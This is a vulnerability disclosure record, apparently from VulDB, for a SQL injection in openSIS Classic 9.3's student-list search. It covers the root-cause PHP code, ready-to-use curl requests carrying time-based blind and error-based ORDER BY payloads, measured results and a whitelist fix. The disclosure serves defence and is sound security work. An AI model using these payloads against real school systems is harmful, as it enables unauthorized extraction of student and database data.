| 제목 | os4ed openSIS Classic (Community Edition) 9.3 SQL Injection |
|---|
| 설명 | ## Affected Software
- **Product**: openSIS Classic (Community Edition)
- **Version**: 9.3
- **Repository**: https://github.com/OS4ED/openSIS-Classic
- **Source revision**: master commit `ec86d7da2abbd0fc1b51c5cad250da043dcb6110` (HEAD at the 2026-06-02 release of 9.3; the repository has no V9.3 tag)
## Vulnerability Description
The student-list search endpoint (`modules/grades/EditReportCardGrades.php`, the search-list action) concatenates the sort parameter `LO_sort` into the `ORDER BY` clause of the student-list query without any validation. The ORDER BY position is not quoted, so SQL expressions submitted in the parameter are evaluated by the database as sort expressions, which supports time-based blind injection and error-based extraction of arbitrary data.
Injection is single-request: once a logged-in teacher submits a search request carrying the payload, the attacker's expression is executed as part of the list query. A low-privileged teacher account is enough to read arbitrary table contents — in the local test the database version and schema name were actually extracted.
## Root Cause
`modules/students/SearchInc.php` (search parameter handling):
```php
if(isset($_REQUEST['LO_sort']) && $_REQUEST['LO_sort'] != '' && $_REQUEST['LO_sort'] != NULL && isset($_REQUEST['LO_direction'])) {
$extra['ORDER_BY'] = $_REQUEST['LO_sort'];
if($_REQUEST['LO_direction'] == '1') {
$extra['ORDER_BY'] = $_REQUEST['LO_sort'].' ASC';
}
if($_REQUEST['LO_direction'] == '-1') {
$extra['ORDER_BY'] = $_REQUEST['LO_sort'].' DESC';
}
}
```
`$_REQUEST['LO_sort']` is copied into `$extra['ORDER_BY']` as-is — no whitelist, no type enforcement, no sanitization.
`functions/GetStuListFnc.php` (student-list query assembly):
```php
} elseif ($extra['ORDER_BY'] && !($_SESSION['stu_search']['sql'] && $_REQUEST['return_session']))
$sql .= ' ORDER BY ' . $extra['ORDER_BY'];
```
The user-controlled sort clause is appended to the query, and the full SELECT is executed via `DBQuery()` (`GetStuListFnc.php:665` and two more `DBGet(DBQuery($sql))` call sites). The application's quote-escaping of values is irrelevant at the ORDER BY position — pure function-style payloads (`IF`/`SLEEP`/`extractvalue`) need no quotes to execute.
## Proof of Concept
Log in as a teacher (the search listing is a teacher-usable function). `<session_cookie>` is the session cookie from the login, `<target>` is the target host. The URL query string is rejected by the application's query-string validation (parentheses, percent signs, etc.), so the payload is submitted in the POST body — the search form itself POSTs to the same URL. The test database needs at least one student scheduled into a course period under the teacher's name (normal business data).
Time-based blind injection — the sort expression runs `SLEEP(3)` when the condition is true:
```bash
curl -s -o /dev/null -w '%{time_total}\n' -X POST \
'http://<target>/Modules.php?modname=grades/EditReportCardGrades.php&search_modfunc=list&LO_direction=1' \
-b '<session_cookie>' \
--data-urlencode 'LO_sort=IF(1=1,SLEEP(3),LAST_NAME)'
```
A benign request (a legitimate sort column) as control:
```bash
curl -s -o /dev/null -w '%{time_total}\n' -X POST \
'http://<target>/Modules.php?modname=grades/EditReportCardGrades.php&search_modfunc=list&LO_direction=1' \
-b '<session_cookie>' \
--data-urlencode 'LO_sort=LAST_NAME'
```
Error-based extraction — the error page echoes the database version and schema name:
```bash
curl -s -X POST \
'http://<target>/Modules.php?modname=grades/EditReportCardGrades.php&search_modfunc=list&LO_direction=1' \
-b '<session_cookie>' \
--data-urlencode 'LO_sort=extractvalue(1,concat(0x7e,version(),0x7e,database()))'
```
Expected result: the true-condition request takes about 9 seconds (the sort expression is evaluated three times per request, 3 × `SLEEP(3)`), the control takes about 0.1 s; the error-based request shows `XPATH syntax error: '~<db version>~<db name>~'` on the response page.
| Request | Latency |
| ------------------------------------------------------------ | ------------------------------------------------------------ |
| Control (`LO_sort=LAST_NAME`) | 0.120 s |
| True condition `IF(1=1,SLEEP(3),LAST_NAME)` | **9.124 s** |
| False condition `IF(1=2,SLEEP(3),LAST_NAME)` | 0.142 s |
| Marker condition `IF(LENGTH(0x7a64316b71396d32)=8,SLEEP(3),LAST_NAME)` (marker `zd1kq9m2`, length always 8) | **9.122 s** |
| `extractvalue(1,concat(0x7e,version(),0x7e,database()))` | 0.114 s; error page echoes `XPATH syntax error: '~10.11.16-MariaDB-ubu2204~ope...'` |
## Impact
An attacker holding a low-privileged teacher account can use this injection point to run conditional queries against any table with the application's database credentials: time-based blind inference of arbitrary query results, and error-based extraction of data fragments directly on the error page. The sort parameter sits inside the student-list query that teachers trigger during normal use, so the injection path coincides with everyday functionality. The test extracted the actual database version and schema name, confirming the exfiltration channel works.
## Suggested Fix
Use a whitelist of sortable column names (or parameterized ORDER BY handling) instead of concatenating the user-controlled `LO_sort` parameter into the SQL string.
## Prior Research
Before submitting I went through openSIS's public vulnerability records (the CVE database, the GitHub repository's advisories and issues, and the upstream fix history) and found no disclosure covering `LO_sort` or the ORDER BY position. The closest one is CVE-2021-41677 — it lives in the same file, `GetStuListFnc.php`, but targets the `Grade=` parameter (a WHERE-condition position), not this ORDER BY concatenation; the remaining known CVEs touch different entry files and parameters. |
|---|
| 원천 | ⚠️ https://github.com/OS4ED/openSIS-Classic/issues/476 |
|---|
| 사용자 | 360alphalab (UID 100924) |
|---|
| 제출 | 2026. 09. 01. AM 07:51 (29 날 ago) |
|---|
| 모더레이션 | 2026. 09. 30. AM 07:52 (29 days later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 411872 [OS4ED openSIS-Classic 까지 9.3 Student List Search Endpoint GetStuListFnc.php DBQuery LO_sort SQL 주입] |
|---|
| 포인트들 | 20 |
|---|